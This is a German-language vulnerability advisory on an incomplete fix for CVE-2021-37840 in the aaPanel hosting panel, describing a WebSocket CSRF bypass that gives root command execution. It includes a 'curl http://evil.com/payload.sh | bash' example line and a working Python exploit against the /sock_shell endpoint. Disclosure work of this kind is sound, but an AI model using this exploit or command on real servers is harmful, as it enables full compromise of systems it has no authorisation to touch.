
aaPanel WebSocket CSRF Bypass führt zu RCE (Unvollständiger Fix für CVE-2021-37840)
Eine unvollständige Behebung von CVE-2021-37840 setzt 5 Jahre später immer noch 3,6 Mio. Server einem Root-RCE aus
Entdeckt von: EON Security
CVE: Zuweisung ausstehend
CVSS: 8.8 (Hoch) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Betroffen: aaPanel-Versionen 6.8.12 bis 7.65.0 (alle Versionen seit der Behebung von 2021)
Installierte Basis: 3,6 Mio.+ Server
Im Jahr 2021 wurde eine Cross-Site WebSocket Hijacking-Schwachstelle (CVE-2021-37840) in aaPanel, einem kostenlosen Hosting-Kontrollpanel, das auf über 3,6 Mio. Servern läuft, offengelegt. Der Hersteller fügte eine CSRF-Token-Prüfung hinzu, um sie zu "beheben".
Die Behebung war architektonisch falsch.
Anstatt unauthentifizierte WebSocket-Verbindungen auf HTTP-Ebene abzulehnen (Rückgabe 401), lässt die Behebung jede Verbindung durch (Rückgabe 101 Switching Protocols) und prüft die Authentifizierung erst innerhalb des Handlers – nachdem der WebSocket bereits aufgebaut ist. Die von ihnen hinzugefügte CSRF-Prüfung kann auf mehreren Wegen umgangen werden.
EON Security stellte fest, dass 5 Jahre später immer noch jede aaPanel-Version für dieselbe Angriffsklasse anfällig ist.
Dies ist erst die 10. CVE überhaupt, die aaPanel in seiner über 6-jährigen Geschichte zugewiesen wurde.
Wenn Sie aaPanel betreiben, hier ist, was ein Angreifer Ihnen antun kann:
Szenario 1: Ein Admin klickt auf einen bösen Link
curl http://evil.com/payload.sh | bash – dieser Befehl wird als root auf Ihrem Server ausgeführtNur ein Klick nötig. Ein einziger falscher Klick und der Angreifer besitzt alles.
Szenario 2: Ein API-Schlüssel wird offengelegt
Das ist das größere Problem. Der CSRF-Schutz gilt überhaupt nicht für API-authentifizierte Anfragen. Es wurde entwickelt, um browserbasierte Verbindungen zu prüfen, aber der Codepfad für API-Zugriff umgeht ihn vollständig.
So oder so sind 3,6 Millionen Server betroffen. Jede Version seit 2021.
g.api_request=True (API-authentifizierte Anfragen) und g.is_aes=True (AES-verschlüsselte Anfragen) überspringen die Prüfung vollständig/sock_shell-Endpunkt führt beliebige Befehle aus – subprocess.Popen(cmd + " 2>&1", shell=True)/webssh-Endpunkt akzeptiert vom Angreifer bereitgestellte SSH-Anmeldedaten – Verbindung zu jedem SSH-HostAlle WebSocket-Endpunkte geben HTTP 101 Switching Protocols vor jeder Authentifizierungsprüfung zurück. Die comm.local()-Authentifizierungsprüfung läuft innerhalb des Handlers, nachdem das WebSocket-Upgrade bereits abgeschlossen ist:
@sockets.route('/sock_shell')
def sock_shell(ws):
comReturn = comm.local() # ← Auth check happens AFTER 101
if comReturn:
ws.send(str(comReturn))
return
Betroffene Endpunkte:
/webssh (SSH terminal proxy)/sock_shell (direct command execution)/ws_panel (panel management)/ws_home (dashboard)/ws_project (project management)/ws_model (model management)/workorder_client (ticket system)/v2/* variants of all aboveDie Funktion check_csrf_websocket() soll Cross-Site WebSocket Hijacking verhindern:
def check_csrf_websocket(ws, args):
if g.is_aes: return True # ← Bypass: AES mode skips check
if g.api_request: return True # ← Bypass: API requests skip check
if public.is_debug(): return True
is_success = True
if not 'x-http-token' in args:
is_success = False
if is_success:
if public.get_csrf_sess_html_token_value() != args['x-http-token']:
is_success = False
if not is_success:
ws.send('token error')
return False
return True
Zwei harte Bypass-Bedingungen existieren:
g.api_request: Wenn True (gesetzt während API-Schlüssel-Authentifizierung), wird die CSRF-Prüfung vollständig übersprungen. Jede API-authentifizierte WebSocket-Sitzung umgeht diesen Schutz.g.is_aes: Wenn True (gesetzt während AES-verschlüsselter API-Anfragen), wird die CSRF-Prüfung ebenfalls übersprungen.Der Token-Vergleich (get_csrf_sess_html_token_value()) gibt session.get('request_token_head', "") zurück. In Sitzungen, in denen dieser Wert noch nicht initialisiert ist, besteht ein leeres x-http-token die Prüfung.
Der Endpunkt /sock_shell übergibt vom Angreifer bereitgestellte Zeichenfolgen direkt an subprocess.Popen mit shell=True:
def sock_recv(cmdstring, ws):
p = subprocess.Popen(cmdstring + " 2>&1",
close_fds=True,
shell=True, # ← Arbitrary command execution
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
Jede auf dem WebSocket empfangene Nachricht wird als Shell-Befehl ausgeführt. Die Ausgabe wird über WebSocket zurückgestreamt. Da aaPanel als root läuft, handelt es sich um eine vollständige Systemkompromittierung.
Der Endpunkt /webssh akzeptiert vom Angreifer bereitgestellte SSH-Verbindungsparameter aus der ersten WebSocket-Nachricht:
ssh_info['host'] = get['host'].strip()
ssh_info['port'] = int(get['port'])
ssh_info['username'] = get['username'].strip()
ssh_info['password'] = get['password'].strip()
Wenn der Host 127.0.0.1 oder localhost ist, überprüft der Handler die Datenbank auf gespeicherte Anmeldedaten oder verwendet die vom Angreifer bereitgestellten.
Der primäre Exploit-Pfad ist CSWSH (Cross-Site WebSocket Hijacking), der Benutzerinteraktion erfordert:
wss://victim-panel:8888/sock_shellcomm.local() besteht die Authentifizierung (gültiges Sitzungscookie){"x-http-token": ""} oder nutzt API/AES-Bypass-PfadeAlternativer Pfad durch Kompromittierung des API-Schlüssels:
g.api_request = Trueimport asyncio, json, ssl
import websockets
async def exploit(target, command):
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
async with websockets.connect(
f"wss://{target}/sock_shell", ssl=ssl_context
) as ws:
# Attempt CSRF bypass with empty token
await ws.send(json.dumps({"x-http-token": ""}))
resp = await asyncio.wait_for(ws.recv(), timeout=10)
if "token error" in resp:
# CSRF check active — may need API auth bypass
return None
# Execute command
await ws.send(command)
return await asyncio.wait_for(ws.recv(), timeout=30)
Vollständiger PoC: exploit.py
Verwenden Sie das Skript check.py, um zu testen, ob eine aaPanel-Instanz anfällige WebSocket-Endpunkte hat:
python3 check.py https://target:8888
g.api_request und g.is_aes sollten den CSRF-Schutz nicht umgehen| Datum | Ereignis |
|---|
Yadav — EON Security
Website: https://eonsecurity.co.za
Dieser Inhalt ist unter MIT lizenziert. Der PoC wird nur zu Bildungs- und Verteidigungszwecken bereitgestellt.
| Endpunkt | Funktion | Auswirkung |
|---|
/webssh | SSH-Terminal-Proxy | Verbindung zu beliebigen SSH-Hosts mit Angreifer-Anmeldedaten |
/sock_shell | Direkte Befehlsausführung | RCE als root über Shell-Befehle |
/ws_panel | Panel-Verwaltung | Zugriff auf Paneldaten |
/ws_home | Dashboard | Zugriff auf Dashboard-Daten |
/ws_project | Projektverwaltung | Zugriff auf Projektdaten |
/ws_model | Modellverwaltung | Zugriff auf Modelldaten |
/workorder_client | Ticket-System | Zugriff auf Ticketdaten |
/v2/* | Alle v2-Varianten | Gleiche wie oben |
| 2021-08-02 | CVE-2021-37840 offengelegt (aaPanel CSWSH) |
| 2021 | Hersteller fügt check_csrf_websocket() als Behebung hinzu |
| 2026-06-23 | EON Security entdeckt, dass die Behebung unvollständig ist |
| Ausstehend | CVE-Zuweisung |
| Ausstehend | Öffentliche Offenlegung |